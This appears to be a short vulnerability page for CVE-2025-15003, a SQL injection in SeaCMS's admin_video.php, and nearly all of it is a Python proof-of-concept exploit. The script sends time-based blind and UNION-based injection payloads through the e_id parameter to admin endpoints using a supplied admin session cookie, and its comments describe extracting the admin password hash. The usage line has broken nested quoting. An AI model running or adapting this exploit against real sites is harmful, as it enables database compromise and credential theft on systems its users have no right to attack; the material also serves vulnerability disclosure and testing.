CVE-2025-15003 SeaCMS admin_video.php SQL注入漏洞

import requests import sys # CVE-2025-15003 SeaCMS SQL Injection PoC # Target: admin_video.php with e_id parameter def exploit(target_url, cookie): """ SQL Injection PoC for CVE-2025-15003 Requires authenticated admin session """ # Blind SQL injection payload - extract admin password hash # Modify sleep duration based on DB response time payload = "1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(3) ELSE 0 END) AND '1'='1" # Alternative payload - UNION based injection union_payload = "1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20---" endpoints = [ f"{target_url}/admin/admin_video.php?action=edit&e_id={payload}", f"{target_url}/admin/admin_video.php?e_id={union_payload}" ] headers = { 'Cookie': cookie, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } print(f"[*] Targeting: {target_url}") print(f"[*] Testing blind SQL injection...") for endpoint in endpoints: try: response = requests.get(endpoint, headers=headers, timeout=10) print(f"[+] Sent payload to: {endpoint}") print(f"[*] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("[*] PoC execution completed") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <admin_cookie>") print("Example: python exploit.py http://target.com "PHPSESSID=xxx"") sys.exit(1) exploit(sys.argv[1], sys.argv[2])